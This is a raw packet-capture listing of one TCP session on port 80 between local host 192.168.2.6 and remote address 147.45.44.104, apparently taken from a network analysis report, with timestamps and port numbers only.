Sep 30, 2024 13:59:54.553328037 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553359032 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553373098 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553384066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553388119 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553396940 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553410053 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553425074 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553431988 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553442001 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553452969 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553462982 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553463936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553473949 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553488016 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553520918 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553550959 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553561926 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553571939 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553591013 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553596973 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553607941 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553613901 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553617954 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553631067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553646088 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553669930 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553672075 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553680897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553709030 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553740025 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553837061 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553849936 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553867102 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553878069 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553889036 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553908110 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553919077 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553925991 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553930044 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553942919 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553950071 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553953886 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553965092 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553972960 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.553976059 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553987980 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.553991079 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554023981 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554032087 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554034948 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554045916 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554069996 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554081917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554092884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554096937 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554102898 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554125071 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554158926 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554205894 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554244995 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554347038 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554358959 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554369926 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554380894 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554390907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554403067 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554445028 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554465055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554477930 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554488897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554500103 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554511070 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554513931 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554522038 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554533958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554547071 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554574013 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554588079 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554600000 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554610014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554624081 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554631948 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554655075 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554687023 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554750919 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554763079 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554774046 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554785013 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554790974 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554811954 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554815054 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554822922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554841042 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554850101 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554851055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554862976 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554866076 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554908037 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554941893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554954052 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554965019 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554975986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554979086 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.554987907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.554999113 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555016041 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555052042 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555079937 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555092096 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555103064 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555114031 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555119991 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555124998 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555135965 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555149078 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555152893 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555159092 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555192947 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555207968 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555282116 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555293083 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555318117 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555329084 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555335999 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555346012 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.555351973 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.555413961 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641397953 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641415119 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641438007 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641449928 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641455889 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641474962 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641479015 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641485929 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641496897 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641522884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641535997 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641545057 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641547918 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641566038 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641568899 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641577005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641585112 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641587973 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641603947 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641613007 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641618967 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641629934 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641637087 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641639948 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641650915 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641655922 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641661882 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.641681910 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.641712904 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.831676960 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.836599112 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016460896 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016482115 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016505957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016516924 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016531944 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016536951 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016547918 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016567945 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016578913 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016581059 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016588926 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016599894 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016608000 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016618013 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016628027 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016628981 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016647100 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016657114 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016659021 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016666889 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016676903 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016686916 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016697884 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016700029 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016710043 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016719103 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016724110 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016730070 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016746044 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016751051 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016757011 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016767025 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016777992 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016777992 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016798973 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016803026 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016819000 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016824961 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016827106 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016838074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016849041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016853094 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016859055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016870022 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016880035 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016892910 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016896009 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016904116 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016916037 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.016922951 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.016949892 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017038107 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017049074 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017060041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017070055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017072916 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017080069 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017090082 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017100096 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017107010 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017133951 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017174006 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017184019 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017194986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017210960 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017213106 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017227888 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017273903 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017328978 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017338991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017349958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017359972 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017359972 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017370939 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017378092 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017443895 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017455101 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017466068 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017476082 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017482996 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017486095 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017497063 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017508030 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017508984 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017518997 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017529011 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017539978 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017543077 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017551899 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017561913 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017576933 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017596006 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017606020 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017616987 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017627954 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017635107 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017637968 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017652035 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017673969 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017689943 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017699957 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017710924 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017724991 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017750025 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017870903 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017880917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017900944 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017903090 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017915010 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017916918 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.017925024 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017935991 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017946005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017955065 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017963886 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017983913 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.017995119 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018007040 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018017054 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018028021 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018038034 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018043041 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018049002 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018269062 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018280029 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018291950 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018302917 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018312931 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018322945 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018323898 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018333912 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018342972 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018345118 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018354893 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018366098 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018378019 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018378019 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018383026 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018399000 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018414974 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018424988 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018429041 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018435001 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018445969 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018446922 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018455982 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018465996 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018466949 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018485069 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018493891 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018495083 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018507004 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018512011 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018534899 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018556118 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018574953 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018585920 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018596888 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018610954 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018615961 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018621922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018632889 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018632889 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018671989 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:55.018776894 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018786907 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:55.018798113 CEST	80	49733	147.45.44.104	192.168.2.6
